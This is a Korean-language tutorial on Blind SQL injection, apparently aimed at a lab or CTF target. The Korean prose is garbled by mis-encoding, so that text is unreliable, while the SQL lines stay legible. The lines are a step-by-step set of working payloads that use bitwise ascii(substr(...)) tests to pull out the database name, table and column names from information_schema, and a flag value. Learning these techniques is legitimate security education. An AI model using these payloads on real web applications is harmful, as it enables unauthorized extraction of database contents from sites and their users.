0 ~ 127 ๊น์ง์ ๋ฒ์๋ฅผ ์ฐจ๋ก๋๋ก(์์๋๋ก) ํ๋์ฉ ํ์ธํ๋ค๋ฉด? ํ ๊ธ์๋น ์ต๋ 2^7 (128) ๋ฒ์ ํ์ธํด์ผํ๋๋ฐ ๊ธ์๊ฐ 10๊ธ์๋ง ๋๋๋ผ๋? ๋ฌด๋ ค....1280๋ฒ์ด๋ค. - ์ ํ ํ์์ ์๊ฐ ๋ณต์ก๋ O(n)
- ์ด์ง(์ด๋ถ) ํ์
๊ทธ๋์ ์ฐ๋ฆฌ๋ ์ด์ง ํ์ ๋ฐฉ์์ ์๊ฐํด๋ณผ ์ ์๋ค.
์ฐ์ 0๋ณด๋ค ํฐ์ง ํ์ธํ๋ค. (์ด๋ ํด๋น ๊ฐ์ด ์กด์ฌํ๋์ง๋ฅผ ํ์ธํ๋ ๊ฒ์ด๋ค.)
๊ทธ ๋ค์ 0 ~ 127 ์ฌ์ด์ ์ด๋ ๊ฐ์ ํ์ธํ๋ค. ์ฐ๋ฆฌ๊ฐ ์ฃผ๋ก ์ด์ฉํ๋ ๊ฐ์ 33 ~ 126์ด๋ค. ๊ทธ๋ผ ์ฐ๋ฆฌ๋ ์ด ์ฌ์ด์ ๊ฐ์ ์๊ฐํด ๋ณผ ์ ์๋๋ฐ (33+126)/2 = 79.5 ์ด๋ค. ๊ทธ๋ฌ๋ฏ๋ก ๋์ถฉ 70 ๋ถํฐ ์์ํด์ค๋ค. ํด๋น ๊ฐ๋ณด๋ค ํฐ๊ฐ? ์์๊ฐ? ๋ฅผ ํ์ธํ๊ณ ๊ฐ๋ฅํ ์ต๋๊ฐ๊ณผ ์ต์๊ฐ์ ์ค์๊ฐ์ ํ์ธํ๋ ๋ฐฉ์์ ๋ฐ๋ณตํ๋ค. ๊ฐ์ ์ ์ ํํ๋ค๋ฉด ์ต๋ 7๋ฒ ์์ ์์๋ผ ์ ์์ ๊ฒ์ด๋ค. - ์ด์ง ํ์์ ์๊ฐ ๋ณต์ก๋ O(log n)
- ๋ ผ๋ฆฌ ์ฐ์ฐ(์ด์ง ์ฝ๋ ํ์ฉ)
์ด๋ถ ํ์๊ณผ ๋ค๋ฅด์ง ์์ง๋ง ์ฐ๋ฆฌ๋ ์ง๋ฌธ์ ๋ฐฉ์์ ๋ค๋ฅด๊ฒ ์ด์ฉํ ์ ์๋ค.
๊ฐ์ด ๋ช๋ณด๋ค ํฐ๊ฐ? ์์๊ฐ? ๋ฅผ ํ์ธํ๋๊ฒ ์๋๊ณ ์ด์ง๊ฐ์ ์ด์ฉํ์ฌ ์ง๋ฌธํ๋ ๊ฒ์ด๋ค.
๋ฐ๋ก ๋ ผ๋ฆฌ ์ฐ์ฐ์ & ๋ฅผ ํ์ฉํ๋ ๊ฒ์ด๋ค. &1=1, &2=2 ... &64=64 ์ ๊ฐ์ด 1, 2, 4, 8, 16, 32, 64 ์ ๊ฐ์ ๋ฌผ์ด๋ณธ๋ค๋ฉด? 0000000 ~ 1111111 ๊ฐ์ ๊ฐ ์๋ฆฌ์ ๊ฒฐ๊ณผ๊ฐ 0์ธ์ง 1์ธ์ง๋ฅผ ๋ฌผ์ด๋ณธ ๊ฒ๊ณผ ๊ฐ์ ํจ๊ณผ๋ฅผ ๊ฐ์ง๋ค.
์ฆ ๊ฐ ๊ฐ์ด ์ฐธ์ด๋ฉด 1 ๊ฑฐ์ง์ด๋ฉด 0์ผ๋ก ์ด์ง๊ฐ์ ์์๋ด๊ณ ์ด๋ฅผ ์ญ์ง์๋ก ๋ฐ๊ฟ์ ๊ฐ์ ์์๋ด๋ ๊ฒ์ด๋ค.
์ฌ๋๋ง๋ค ๋ค๋ฅผ ์ ์์ง๋ง ๋ ผ๋ฆฌ์ฐ์ฐ์ ์ด์ฉํ ๋ฐฉ๋ฒ์ด ๊ฐ์ฅ ์ ๋ง๋๊ฑฐ ๊ฐ์ ์ด ๋ฐฉ๋ฒ์ ์ด์ฉํ ๊ฒ์ด๋ค.
[1] SQL Injection Point ์ฐพ๊ธฐ
SQL Injection ๊ณต๊ฒฉ์ ์ํํ๊ธฐ ์ํด์๋ SQL Injection์ด ๊ฐ๋ฅํ์ง๋ถํฐ ํ์ธํด์ผ ํ๋ค.
x' and '1'='1
x' and '1'-'1 ์ ๊ฐ์ด ์ฐธ์ด๋ผ๋ ๊ฒฐ๊ณผ๊ฐ ๋์จ๋ค๋ฉด SQL Injection์ด ๊ฐ๋ฅํ๋ค.
ํ์ง๋ง ์ฌ๊ธฐ์ ์ฐ๋ฆฌ๋ Blind SQLi์ ์ด์ฉํ ๊ฒ์ด๋ฏ๋ก ๊ฑฐ์ง๋ ํ์ธํด์ผํ๋ค.
x' and '1'='2
x' and '1'='2 ๊ฐ ๊ฑฐ์ง์ผ๋ก ๊ฒฐ๊ณผ๊ฐ ๋์ค๋ ๊ฒ์ ํ์ธํ๊ณ , ์ฐธ/๊ฑฐ์ง์ด ๋๋ค ์ฐพ์์ง๊ณ , ์ฐธ(True)์ธ ๊ฒฐ๊ณผ์ ๊ฑฐ์ง(False)์ธ ๊ฒฐ๊ณผ๊ฐ ๋ค๋ฅด๋ค๋ฉด Blind SQL Injection์ด ๊ฐ๋ฅํ๋ค๋ ๊ฒ์ด๋ค.
์ฐธ๊ณผ ๊ฑฐ์ง์ ๋ ๋ค ์ฐพ์์ผ ํ๋ค!!
[2] SELECT ๋ฌธ๊ตฌ๊ฐ ๊ฐ๋ฅํ์ง ํ์ธ
x' and ((select 'test') = 'test') and '1'='1
์์ ๊ฐ์ ๊ตฌ๋ฌธ์ ์ด์ฉํ์ฌ ํด๋น ๊ฐ์ด ์ฐธ์ธ์ง๋ฅผ ํ์ธํ์ฌ SELECT ๋ฌธ์ ์ฝ์ ํด๋ ๋ฌธ์ ๊ฐ ์๋์ง ํ์ธํ๋ค.
[3] ๊ณต๊ฒฉ Fromat ๋ง๋ค๊ธฐ
x' and (__์กฐ๊ฑด__) and '1'='1
์์ ๊ฐ์ด ( ) ์ ์ํ๋ ์กฐ๊ฑด์ ๋ฃ์ด์ค๋ค.
substr((__SQL__),1,1)
์กฐ๊ฑด์ ๊ฒฝ์ฐ ์์ ๊ฐ์ด ๋ฃ์ด์ฃผ๋ฉด ๋๋ค. SQL ๋ถ๋ถ์๋ select ๊ตฌ๋ฌธ์ ์ฝ์ ํ๊ณ ์ด๋ฅผ ํฉ์ณ์ฃผ๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
x' and (substr((select 'test'),1,1) = 't') and '1'='1
์์ ๊ฐ์ด ๋ง๋ค์ด ์ฃผ๋ฉด๋๋ค. ๊ทธ๋ฐ๋ฐ ์ฌ๊ธฐ์ ์ฐ๋ฆฌ๋ 't'์ ๊ฐ์ด ๋ฌธ์๋ฅผ ํ์ธํ๋ ๊ฒ์ด ์๋๊ณ ASCII๋ฅผ ์ด์ฉํ ๊ฒ์ด๋ค.
์ซ์๊ฐ ํธํ๊ธฐ ๋๋ฌธ์ด๋ค.
ascii('a') = 97 ์ด๊ธฐ ๋๋ฌธ์ ์ด๋ฅผ ๋ฐ๊ฟ์ฃผ๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
x' and (ascii(substr((select 'test'),1,1)) = 97) and '1'='1
์์ ๊ฐ์ ๋ฐฉ์์ผ๋ก ์์ฑ ํ๋ฉด๋๋๋ฐ ์ฐ๋ฆฌ๋ ์ฐ์ ์ ์ผ๋ก ๊ณต๊ฒฉ Format๋ง ๊ตฌ์ฑํ๋ค๊ณ ์๊ฐํ๋ฉด ascii(substr((__SQL__),1,1)) > 0์ ๋ฃ์ด์ฃผ์ด ๋ค์๊ณผ ๊ฐ์ด ๋ง๋ค์ด ๋ ์ ์๋ค.
x' and (ascii(substr((__SQL__),1,1)) > 0) and '1'='1
๊ทผ๋ฐ ์ด๋ ์ด๋ฅผ ๋ ผ๋ฆฌ์ฐ์ฐ์ ์ด์ฉํ๋ ๋ฐฉ์์ ์ด์ฉํ ๊ฒ์ด๊ธฐ ๋๋ฌธ์ ๊ทธ์ ๋ง์ถฐ ๋ฐ๊ฟ์ฃผ๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
x' and (ascii(substr((__SQL__),1,1)))&1=1#
์์ ๊ณต๊ฒฉ format์ ์ฌ์ฉํ์ฌ ์งํํ ๊ฒ์ด๋ค.
[4] DB ์ด๋ฆ ์์๋ด๊ธฐ
x' and ascii(substr((select database()),1,1))&1=1#
1=1, 2=2, 4=4, 8=8, 16=16, 32=32, 64=64 ์ ๊ฐ์ด ์ด์ง์ 7์๋ฆฌ๋ฅผ ๊ฐ๊ฐ ํ์ธํ๊ณ ์ฐธ์ธ ๊ฐ์ ๋ํ์ฌ ๊ฐ๊ฐ์ ๋ํด์ฃผ๋ฉด ์ญ์ง์๊ฐ ๋์ค๊ณ ์ด๋ฅผ ASCII ๋ก ๋ณํํ๋ฉด ํด๋น ๋ฌธ์๊ฐ ์ด๋ค ๋ฌธ์์ธ์ง ํ์ธํ ์ ์๋ค.
x' and ascii(substr((select database()),2,1))&1=1#
์ด๋ฐ์์ผ๋ก ๋ฌธ์์ ์๋ฆฌ์๋ฅผ ๋ฐ๊ฟ์ฃผ๋ฉด์ ๊ณ์ํด์ ํด๋น ๋ฌธ์๊ฐ ์ด๋ค ๋ฌธ์์ธ์ง ํ์ธํ๋ ์์ ์ ๊ณ์ํ๋ค.
[5] Table ์ด๋ฆ ์์๋ด๊ธฐ
select table_name from information_schema.tables where table_schema = 'blindSqli'
์ด๋ฅผ ๊ณต๊ฒฉ format์ ๋ฃ์ด์ค๋ค.
x' and (ascii(substr((select table_name from information_schema.tables where table_schema = 'blindSqli'),1,1)))&1=1#
[6] Column ์ด๋ฆ ์์๋ด๊ธฐ
select column_name from information_schema.columns where table_name = 'flagTable' limit 0,1
์ด๋ฅผ ๊ณต๊ฒฉ format์ ๋ฃ์ด์ค๋ค.
x' and ascii(substr((select column_name from information_schema.columns where table_name = 'flagTable' limit 0,1),1,1))&1=1#
[7] ๋ฐ์ดํฐ ์ถ์ถํ๊ธฐ
select flag from flagTable limit 0,1
x' and ascii(substr((select flag from flagTable limit 0,1),1,1))&1=1#
์ด์ ๊ฐ์ ๋ฐฉ๋ฒ์ผ๋ก ๋ฐ๋ณตํ๋ฉด ์ฐ๋ฆฌ๋ ์ฐ๋ฆฌ๊ฐ ์ํ๋ ๋ฐ์ดํฐ๋ฅผ ํ์ธํ ์ ์๊ฒ ๋๋ค.
ํ์ง๋ง ์ด ์์ ์ ๋ ธ๊ฐ๋ค์ฑ์ด๊ธฐ ๋๋ฌธ์ ํ์ด์ฌ์ ์ด์ฉํ ์๋ํ๋ฅผ ๊ณ ๋ฏผํด๋ด์ผ ํ๋ค.
๊ทธ๋ ์ง๋ง Blind SQLi์ ๊ฒฝ์ฐ ์๋ํ ํ๊ธฐ ์ ์ ๊ผญ! ์์ผ๋ก ์์์ ์ผ๋ก ๋ ธ๊ฐ๋ค๋ฅผ ํด๋ด์ผ ์ดํดํ๋๋ฐ์ ๋์์ด ๋๋ค๋ ์ฌ์ค์ ์์ง๋ง์!
SQL Injection
1. SQL ์ง์๋ฌธ(Query)์ ๊ฒฐ๊ณผ๊ฐ ํ๋ฉด์ ์ถ๋ ฅ๋๋ ๊ฒฝ์ฐ : UNION SQL
2. SQL ์๋ฌ ๋ฉ์์ง๊ฐ ํ๋ฉด์ ์ถ๋ ฅ๋๋ ๊ฒฝ์ฐ : Error Based SQLi
3. ๊ฒฐ๊ณผ๊ฐ ์ถ๋ ฅ๋์ง ์๊ณ ์ฐธ๊ณผ ๊ฑฐ์ง์ ์๋ต๋ง ๋ค๋ฅธ ๊ฒฝ์ฐ : Blind SQL Injection
์ง๋ฌธ ํ์, ์์ ๋ฐ ๋ณด์์ ๋ํ ์ง์ ํ์